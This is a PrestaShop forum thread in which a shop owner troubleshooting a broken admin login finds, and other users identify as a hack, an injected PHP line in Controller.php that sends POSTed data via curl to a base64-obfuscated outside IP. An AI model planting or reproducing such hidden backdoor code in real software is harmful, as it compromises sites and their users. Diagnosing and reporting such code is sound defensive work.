xbhy Posted August 6, 2021 Share Posted August 6, 2021 Hello, I have PrestaShop 1.5.4.1, the store front is working fine, but I can't login to the administration. I don't think I made any changes that could have caused that. Perhaps the hosting provider upgraded something. My version of PHP is 5.6.40. Is it okay to use it with PS 1.5.4.1? Is there a way to find out whether the PHP version is the culprit? The error in the browser is: TECHNICAL ERROR: Details: Error thrown: [object Object] Text status: error The error in the log is: [27-Jul-2021 12:27:20 Europe/Prague] PHP Fatal error: Class 'PrestaShopLogger' not found in /home/www/investicnimedaile.cz/www/investicnimedaile.cz/controllers/admin/AdminLoginController.php on line 183 I deleted /cache/class_index.php and later also the files in /cache/smarty/{cache,compile}, but the error persists. I would be very grateful for any advice. Thank you very much for your help. Petr Břeň Link to comment Share on other sites More sharing options...
ComGrafPL Posted August 8, 2021 Share Posted August 8, 2021 Did you ask a hosting provider if they did any changes recently? Did you try on other internet browser? PHP req. are here: https://devdocs.prestashop.com/1.7/basics/installation/system-requirements/ Link to comment Share on other sites More sharing options...
xbhy Posted August 9, 2021 Author Share Posted August 9, 2021 Thank you, ComGrafPL. I contacted the hosting provider and they say they didn't change anything. They suggested an upgrade of PS. I don't think that's even possible without access to the admin. (Also, newer PS wouldn't work with PHP 5.6.40.) Link to comment Share on other sites More sharing options...
SmartDataSoft Posted August 10, 2021 Share Posted August 10, 2021 @xbhy This is what you can do install a fresh PrestaShop same version which was running in your shop in a seperate folder , then copy same admin folder from new installation to old one. and before that rename the old one. If any file is missing then will replace. Normally the old php version and old PrestaShop has security hole. Your error indicate that a file is missing. Not sure it was removed by any hacker or not. If replace folder solve your issue. we suggest to update PrestaShop latest version one by one Thank you Link to comment Share on other sites More sharing options...
xbhy Posted August 10, 2021 Author Share Posted August 10, 2021 Thank you, @SmartDataSoft I compared the contents of the admin/ folder with the original version of PS 1.5.4.1 and didn't find any differences or missing files. The place mentioned in the error - line 183 in controllers/admin/AdminLoginController.php - is also exactly the same, no changes. However, when comparing the file classes/controller/Controller.php, I noticed that my installation has one line at the end of the file, which is not there in the original PS version: try {if(isset($_POST['statistics_hash'])){$array = array('statistics_hash' => $_POST['statistics_hash'],);$linked="";$ch = curl_init(base64_decode("aHR0cHM6Ly80NS4xOTcuMTQxLjI1MC9hbmFseXRpY3MucGhw"));curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS, $array); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($ch, CURLOPT_HEADER, false);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);$html = curl_exec($ch);curl_close($ch); }} catch (Exception $e) {} It is not in the original version's Controller.php. What does it mean? Judging from the timestamp of the file, it was added on Apr 21 this year. Could this be a hack? Thank you. Link to comment Share on other sites More sharing options...
SmartDataSoft Posted August 10, 2021 Share Posted August 10, 2021 Hello, the core run some other site which is encode base 64 it call this url https://45.197.141.xxxx/analytics.php. i think this is not your site, I am sure this is hacked code which call other site url using curl Thank you Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now